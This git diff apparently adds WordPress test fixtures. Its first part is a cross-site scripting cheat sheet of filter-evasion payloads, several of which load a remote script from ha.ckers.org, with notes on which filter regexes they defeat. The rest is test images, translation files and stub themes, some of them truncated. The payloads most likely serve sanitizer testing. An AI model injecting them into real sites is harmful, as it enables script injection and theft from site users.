+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Spaces/Meta Chars
+ <IMG SRC="  javascript:alert('XSS');">
+ Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Non-Alpha/Non-Digit
+ <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+ Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s"
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Non-Alpha/Non-Digit Part 2
+ <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
+ Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ No Closing Script Tag
+ <SCRIPT SRC=http://ha.ckers.org/xss.js
+ In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Protocol resolution in script tags
+ <SCRIPT SRC=//ha.ckers.org/.j>
+ This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Half-Open HTML/JavaScript
+ <IMG SRC="javascript:alert('XSS')"
+ Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
+ /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/
+As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Double open angle brackets
+ <IFRAME SRC=http://ha.ckers.org/scriptlet.html <
+ This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Extraneous Open Brackets
+ <<SCRIPT>alert("XSS");//<</SCRIPT>
+ (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Malformed IMG Tags
+ <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
+ Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ No Quotes/Semicolons
+ <SCRIPT>a=/XSS/
+alert(a.source)</SCRIPT>
+ No single quotes or double quotes or semicolons.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Event Handlers List 1
+ See Below
+ Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates:
+
+-FSCommand() (execute from within an embedded Flash object)
+
+-onAbort() (when user aborts the loading of an image)
+
+-onActivate() (when object is set as the active element)
+
+-onAfterPrint() (activates after user prints or previews print job)
+
+-onAfterUpdate() (activates on data object after updating data in the source object)
+
+-onBeforeActivate() (fires before the object is set as the active element)
+
+-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function)
+
+-onBeforeCut() (attacker executes the attack string right before a selection is cut)
+
+-onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
+
+-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
+
+-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
+
+-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function)
+
+-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
+
+-onBegin() (fires immediately when the element's timeline begins)
+
+-onBlur() (in the case where another popup is loaded and window loses focus)
+
+-onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
+
+-onCellChange() (fires when data changes in the data provider)
+
+-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified)
+
+-onClick() (fires when someone clicks on a form)
+
+-onContextMenu() (user would need to right click on attack area)
+
+-onControlSelect() (fires when the user is about to make a control selection of the object)
+
+-onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
+
+-onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
+
+-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function)
+
+-onDataSetChanged() (fires when the data set exposed by a data source object changes)
+
+-onDataSetComplete() (fires to indicate that all data is available from the data source object)
+
+-onDblClick() (fires when user double-clicks a form element or a link)
+
+-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
+
+-onDrag() (requires that the user drags an object)
+
+-onDragEnd() (requires that the user drags an object)
+
+-onDragLeave() (requires that the user drags an object off a valid location)
+
+-onDragEnter() (requires that the user drags an object into a valid location)
+
+-onDragOver() (requires that the user drags an object into a valid location)
+
+-onDragDrop() (user drops an object (e.g. file) onto the browser window)
+
+-onDrop() (fires when user drops an object (e.g. file) onto the browser window)
+
+
+ Browser support:
+
+
+ Event Handlers List 2
+ See Below
+ -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">)
+
+-onError() (loading of a document or image causes an error)
+
+-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
+
+-onFilterChange() (fires when a visual filter completes state change)
+
+-onFinish() (attacker could create the exploit when marquee is finished looping)
+
+-onFocus() (attacker executes the attack string when the window gets focus)
+
+-onFocusIn() (attacker executes the attack string when window gets focus)
+
+-onFocusOut() (attacker executes the attack string when window loses focus)
+
+-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
+
+-onKeyDown() (fires when user depresses a key)
+
+-onKeyPress() (fires when user presses or holds down a key)
+
+-onKeyUp() (fires when user releases a key)
+
+-onLayoutComplete() (user would have to print or print preview)
+
+-onLoad() (attacker executes the attack string after the window loads)
+
+-onLoseCapture() (can be exploited by the releaseCapture() method)
+
+-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing)
+
+-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
+
+-onMouseDown() (the attacker would need to get the user to click on an image)
+
+-onMouseEnter() (fires when cursor moves over an object or area)
+
+-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
+
+-onMouseMove() (the attacker would need to get the user to mouse over an image or table)
+
+-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
+
+-onMouseOver() (fires when cursor moves over an object or area)
+
+-onMouseUp() (the attacker would need to get the user to click on an image)
+
+-onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
+
+-onMove() (user or attacker would move the page)
+
+-onMoveEnd() (user or attacker would move the page)
+
+-onMoveStart() (user or attacker would move the page)
+
+-onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
+
+-onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
+
+-onPause() (fires on every element that is active when the timeline pauses, including the body element)
+
+-onProgress() (attacker would use this as a flash movie was loading)
+
+-onPropertyChange() (user or attacker would need to change an element property)
+
+-onReadyStateChange() (user or attacker would need to change an element property)
+
+
+ Browser support:
+
+
+ Event Handlers List 3
+ See Below
+ -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle)
+
+-onReset() (fires when user or attacker resets a form)
+
+-onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
+
+-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
+
+-onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
+
+-onResume() (fires on every element that becomes active when the timeline resumes, including the body element)
+
+-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
+
+-onRowEnter() (user or attacker would need to change a row in a data source)
+
+-onRowExit() (user or attacker would need to change a row in a data source)
+
+-onRowsDelete() (user or attacker would need to delete a row in a data source)
+
+-onRowsInserted() (user or attacker would need to insert a row in a data source)
+
+-onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
+
+-onSeek() (fires when the timeline is set to play in any direction other than forward)
+
+-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
+
+-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
+
+-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
+
+-onStart() (fires at the beginning of each marquee loop)
+
+-onStop() (user would need to press the stop button or leave the webpage)
+
+-onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
+
+-onSubmit() (requires attacker or user submits a form)
+
+-onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value)
+
+-onTrackChange() (fires when user or attacker changes track in a playList)
+
+-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click)
+
+-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
+
+-seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
+
+
+ Browser support:
+
+
+ Evade Regex Filter 1
+ <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+ For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter:
+ /<script[^>]+src/i
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Evade Regex Filter 2
+ <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+ For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter:
+ /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
+
+(this is an important one, because I've seen this regex in the wild)
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Evade Regex Filter 3
+ <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+ Another XSS to evade this regex filter:
+ /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Evade Regex Filter 4
+ <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+ Yet another XSS to evade the same filter:
+ /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
+The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Evade Regex Filter 5
+ <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+ And one last XSS attack (using grave accents) to evade this regex:
+ /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ Filter Evasion 1
+ <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+ This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ Filter Evasion 2
+ <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+ Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
diff --git a/tests/data/images/2004-07-22-DSC_0007.jpg b/tests/data/images/2004-07-22-DSC_0007.jpg
new file mode 100644
index 0000000000..a9703f333d
Binary files /dev/null and b/tests/data/images/2004-07-22-DSC_0007.jpg differ
diff --git a/tests/data/images/2004-07-22-DSC_0008.jpg b/tests/data/images/2004-07-22-DSC_0008.jpg
new file mode 100644
index 0000000000..faa12f3160
Binary files /dev/null and b/tests/data/images/2004-07-22-DSC_0008.jpg differ
diff --git a/tests/data/images/2007-06-17DSC_4173.JPG b/tests/data/images/2007-06-17DSC_4173.JPG
new file mode 100644
index 0000000000..2cbe3b90f7
Binary files /dev/null and b/tests/data/images/2007-06-17DSC_4173.JPG differ
diff --git a/tests/data/images/a2-small-100x75.jpg b/tests/data/images/a2-small-100x75.jpg
new file mode 100644
index 0000000000..1cce87d999
Binary files /dev/null and b/tests/data/images/a2-small-100x75.jpg differ
diff --git a/tests/data/images/a2-small.jpg b/tests/data/images/a2-small.jpg
new file mode 100644
index 0000000000..d3d7bbc3ac
Binary files /dev/null and b/tests/data/images/a2-small.jpg differ
diff --git a/tests/data/images/canola.jpg b/tests/data/images/canola.jpg
new file mode 100644
index 0000000000..938be00cde
Binary files /dev/null and b/tests/data/images/canola.jpg differ
diff --git a/tests/data/images/gradient-square.jpg b/tests/data/images/gradient-square.jpg
new file mode 100644
index 0000000000..9f2cb3fb54
Binary files /dev/null and b/tests/data/images/gradient-square.jpg differ
diff --git a/tests/data/images/test-image-cmyk.jpg b/tests/data/images/test-image-cmyk.jpg
new file mode 100755
index 0000000000..9b3b112449
Binary files /dev/null and b/tests/data/images/test-image-cmyk.jpg differ
diff --git a/tests/data/images/test-image-grayscale.jpg b/tests/data/images/test-image-grayscale.jpg
new file mode 100755
index 0000000000..7e8903181b
Binary files /dev/null and b/tests/data/images/test-image-grayscale.jpg differ
diff --git a/tests/data/images/test-image-iptc.jpg b/tests/data/images/test-image-iptc.jpg
new file mode 100644
index 0000000000..a054dec2c6
Binary files /dev/null and b/tests/data/images/test-image-iptc.jpg differ
diff --git a/tests/data/images/test-image-lzw.tiff b/tests/data/images/test-image-lzw.tiff
new file mode 100644
index 0000000000..0fdfc079aa
Binary files /dev/null and b/tests/data/images/test-image-lzw.tiff differ
diff --git a/tests/data/images/test-image-mime-jpg.png b/tests/data/images/test-image-mime-jpg.png
new file mode 100644
index 0000000000..534aac1d6b
Binary files /dev/null and b/tests/data/images/test-image-mime-jpg.png differ
diff --git a/tests/data/images/test-image-zip.tiff b/tests/data/images/test-image-zip.tiff
new file mode 100644
index 0000000000..5ed5986388
Binary files /dev/null and b/tests/data/images/test-image-zip.tiff differ
diff --git a/tests/data/images/test-image.bmp b/tests/data/images/test-image.bmp
new file mode 100644
index 0000000000..97a54ce379
Binary files /dev/null and b/tests/data/images/test-image.bmp differ
diff --git a/tests/data/images/test-image.gif b/tests/data/images/test-image.gif
new file mode 100644
index 0000000000..8fad364479
Binary files /dev/null and b/tests/data/images/test-image.gif differ
diff --git a/tests/data/images/test-image.jp2 b/tests/data/images/test-image.jp2
new file mode 100644
index 0000000000..4d96c3c4d7
Binary files /dev/null and b/tests/data/images/test-image.jp2 differ
diff --git a/tests/data/images/test-image.jpg b/tests/data/images/test-image.jpg
new file mode 100644
index 0000000000..534aac1d6b
Binary files /dev/null and b/tests/data/images/test-image.jpg differ
diff --git a/tests/data/images/test-image.pct b/tests/data/images/test-image.pct
new file mode 100644
index 0000000000..7466604764
Binary files /dev/null and b/tests/data/images/test-image.pct differ
diff --git a/tests/data/images/test-image.png b/tests/data/images/test-image.png
new file mode 100644
index 0000000000..642ce92975
Binary files /dev/null and b/tests/data/images/test-image.png differ
diff --git a/tests/data/images/test-image.psd b/tests/data/images/test-image.psd
new file mode 100644
index 0000000000..3389eb4985
Binary files /dev/null and b/tests/data/images/test-image.psd differ
diff --git a/tests/data/images/test-image.sgi b/tests/data/images/test-image.sgi
new file mode 100644
index 0000000000..e5674c0de9
Binary files /dev/null and b/tests/data/images/test-image.sgi differ
diff --git a/tests/data/images/test-image.tga b/tests/data/images/test-image.tga
new file mode 100644
index 0000000000..b0593cbf80
Binary files /dev/null and b/tests/data/images/test-image.tga differ
diff --git a/tests/data/images/test-image.tiff b/tests/data/images/test-image.tiff
new file mode 100644
index 0000000000..67c30947f7
Binary files /dev/null and b/tests/data/images/test-image.tiff differ
diff --git a/tests/data/images/transparent.png b/tests/data/images/transparent.png
new file mode 100644
index 0000000000..d130501eeb
Binary files /dev/null and b/tests/data/images/transparent.png differ
diff --git a/tests/data/images/waffles.jpg b/tests/data/images/waffles.jpg
new file mode 100644
index 0000000000..e69cae58c6
Binary files /dev/null and b/tests/data/images/waffles.jpg differ
diff --git a/tests/data/plugins/hello.php b/tests/data/plugins/hello.php
new file mode 100644
index 0000000000..8d6287f77a
--- /dev/null
+++ b/tests/data/plugins/hello.php
@@ -0,0 +1,14 @@
+Hello, Dolly in the upper right of your admin screen on every page.
+Author: Matt Mullenweg
+Version: 1.5.1
+Author URI: http://ma.tt/
+Text Domain: hello-dolly
+
+*/
+
+// Test for
+?>
diff --git a/tests/data/pomo/bad_nplurals.mo b/tests/data/pomo/bad_nplurals.mo
new file mode 100644
index 0000000000..d2aef437cd
Binary files /dev/null and b/tests/data/pomo/bad_nplurals.mo differ
diff --git a/tests/data/pomo/bad_nplurals.po b/tests/data/pomo/bad_nplurals.po
new file mode 100644
index 0000000000..c24342fc0f
--- /dev/null
+++ b/tests/data/pomo/bad_nplurals.po
@@ -0,0 +1,18 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: bbPress 1.0.4 alpha\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-12-26 17:07+0100\n"
+"Last-Translator: Fernando Tellado \n"
+"Language-Team: ayudawordpress.com \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: spanish\n"
+"X-Poedit-Country: spain\n"
+"Plural-Forms: nplurals=2; plural=n !=1;\\n\n"
+
+msgid "%d forum"
+msgid_plural "%d forums"
+msgstr[0] "%d foro"
+msgstr[1] "%d foros"
diff --git a/tests/data/pomo/context.mo b/tests/data/pomo/context.mo
new file mode 100644
index 0000000000..a94a040789
Binary files /dev/null and b/tests/data/pomo/context.mo differ
diff --git a/tests/data/pomo/de_DE-2.8.mo b/tests/data/pomo/de_DE-2.8.mo
new file mode 100644
index 0000000000..7e9334cb8f
Binary files /dev/null and b/tests/data/pomo/de_DE-2.8.mo differ
diff --git a/tests/data/pomo/empty.po b/tests/data/pomo/empty.po
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/tests/data/pomo/mo.pot b/tests/data/pomo/mo.pot
new file mode 100644
index 0000000000..6e6e50b544
--- /dev/null
+++ b/tests/data/pomo/mo.pot
@@ -0,0 +1,25 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR WordPress
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR , YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: wp-polyglots@lists.automattic.com\n"
+"POT-Creation-Date: 2009-06-28 11:07+0000\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME \n"
+"Language-Team: LANGUAGE \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: wp-admin/includes/continents-cities.php:7
+msgid "Africa"
+msgstr ""
+
+#: wp-admin/includes/continents-cities.php:8
+msgid "Abidjan"
+msgstr ""
diff --git a/tests/data/pomo/overload.mo b/tests/data/pomo/overload.mo
new file mode 100644
index 0000000000..87ca72ec4f
Binary files /dev/null and b/tests/data/pomo/overload.mo differ
diff --git a/tests/data/pomo/plural.mo b/tests/data/pomo/plural.mo
new file mode 100644
index 0000000000..c838ad5bbf
Binary files /dev/null and b/tests/data/pomo/plural.mo differ
diff --git a/tests/data/pomo/simple.mo b/tests/data/pomo/simple.mo
new file mode 100644
index 0000000000..18ca12d94e
Binary files /dev/null and b/tests/data/pomo/simple.mo differ
diff --git a/tests/data/pomo/simple.po b/tests/data/pomo/simple.po
new file mode 100644
index 0000000000..114febd1b3
--- /dev/null
+++ b/tests/data/pomo/simple.po
@@ -0,0 +1,54 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WordPress 2.6-bleeding\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+
+msgid "moon"
+msgstr ""
+
+msgctxt "brum"
+msgid "strut"
+msgid_plural "struts"
+msgstr[0] "ztrut0"
+msgstr[1] "ztrut1"
+msgstr[2] "ztrut2"
+
+msgid ""
+"The first thing you need to do is tell Blogger to let WordPress access your "
+"account. You will be sent back here after providing authorization."
+msgstr "baba\n"
+"dyado"
+"gugu"
+
+msgctxt ""
+"con"
+"text"
+msgid ""
+"sing"
+"ular"
+msgid_plural ""
+"plu"
+"ral"
+msgstr[0] ""
+"trans"
+"lation0"
+msgstr[1] ""
+"trans"
+"lation1"
+msgstr[2] ""
+"translation2"
+
+
+
+# baba
+#: wp-admin/x.php:111 baba:333
+#. translators: buuu
+# brubru
+#, fuzzy
+#: baba
+msgid "a"
+msgstr ""
+
+msgid "a\""
+msgstr ""
+
diff --git a/tests/data/pomo/windows-line-endings.po b/tests/data/pomo/windows-line-endings.po
new file mode 100644
index 0000000000..79b05c2614
--- /dev/null
+++ b/tests/data/pomo/windows-line-endings.po
@@ -0,0 +1,7 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Windows 3.11\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+
+msgid "moon"
+msgstr "yuhu"
diff --git a/tests/data/themedir1/default/functions.php b/tests/data/themedir1/default/functions.php
new file mode 100644
index 0000000000..1c8413d3a1
--- /dev/null
+++ b/tests/data/themedir1/default/functions.php
@@ -0,0 +1,7 @@
+
diff --git a/tests/data/themedir1/default/index.php b/tests/data/themedir1/default/index.php
new file mode 100644
index 0000000000..1c8413d3a1
--- /dev/null
+++ b/tests/data/themedir1/default/index.php
@@ -0,0 +1,7 @@
+
diff --git a/tests/data/themedir1/default/style.css b/tests/data/themedir1/default/style.css
new file mode 100644
index 0000000000..05b7d4048c
--- /dev/null
+++ b/tests/data/themedir1/default/style.css
@@ -0,0 +1,17 @@
+/*
+Theme Name: WordPress Default
+Theme URI: http://wordpress.org/
+Description: The default WordPress theme based on the famous Kubrick.
+Version: 1.6
+Author: Michael Heilemann
+Author URI: http://binarybonsai.com/
+
+ Kubrick v1.5
+ http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
diff --git a/tests/data/themedir1/page-templates/index.php b/tests/data/themedir1/page-templates/index.php
new file mode 100644
index 0000000000..e0c765371d
--- /dev/null
+++ b/tests/data/themedir1/page-templates/index.php
@@ -0,0 +1,3 @@
+
\ No newline at end of file
diff --git a/tests/data/themedir1/page-templates/style.css b/tests/data/themedir1/page-templates/style.css
new file mode 100644
index 0000000000..7ce31bf771
--- /dev/null
+++ b/tests/data/themedir1/page-templates/style.css
@@ -0,0 +1,11 @@
+/*
+Theme Name: Page Template Theme
+Theme URI: http://example.org/
+Description: An example theme with page templates
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
\ No newline at end of file
diff --git a/tests/data/themedir1/page-templates/subdir/template-sub-dir.php b/tests/data/themedir1/page-templates/subdir/template-sub-dir.php
new file mode 100644
index 0000000000..ff0a3c81d0
--- /dev/null
+++ b/tests/data/themedir1/page-templates/subdir/template-sub-dir.php
@@ -0,0 +1,5 @@
+
\ No newline at end of file
diff --git a/tests/data/themedir1/page-templates/template-header.php b/tests/data/themedir1/page-templates/template-header.php
new file mode 100644
index 0000000000..61381bf822
--- /dev/null
+++ b/tests/data/themedir1/page-templates/template-header.php
@@ -0,0 +1 @@
+
diff --git a/tests/data/themedir1/page-templates/template-top-level.php b/tests/data/themedir1/page-templates/template-top-level.php
new file mode 100644
index 0000000000..7ff3b50558
--- /dev/null
+++ b/tests/data/themedir1/page-templates/template-top-level.php
@@ -0,0 +1,5 @@
+
\ No newline at end of file
diff --git a/tests/data/themedir1/sandbox/functions.php b/tests/data/themedir1/sandbox/functions.php
new file mode 100644
index 0000000000..1c8413d3a1
--- /dev/null
+++ b/tests/data/themedir1/sandbox/functions.php
@@ -0,0 +1,7 @@
+
diff --git a/tests/data/themedir1/sandbox/index.php b/tests/data/themedir1/sandbox/index.php
new file mode 100644
index 0000000000..1c8413d3a1
--- /dev/null
+++ b/tests/data/themedir1/sandbox/index.php
@@ -0,0 +1,7 @@
+
diff --git a/tests/data/themedir1/sandbox/style.css b/tests/data/themedir1/sandbox/style.css
new file mode 100644
index 0000000000..b7f03afb70
--- /dev/null
+++ b/tests/data/themedir1/sandbox/style.css
@@ -0,0 +1,11 @@
+/*
+THEME NAME: Sandbox
+THEME URI: http://www.plaintxt.org/themes/sandbox/
+DESCRIPTION: A theme with powerful, semantic CSS selectors and the ability to add new skins.
+VERSION: 0.6.1-wpcom
+AUTHOR: Andy Skelton & Scott Allan Wallick
+AUTHOR URI:
+
+ This is a dummy theme for testing the above metadata.
+*/
+
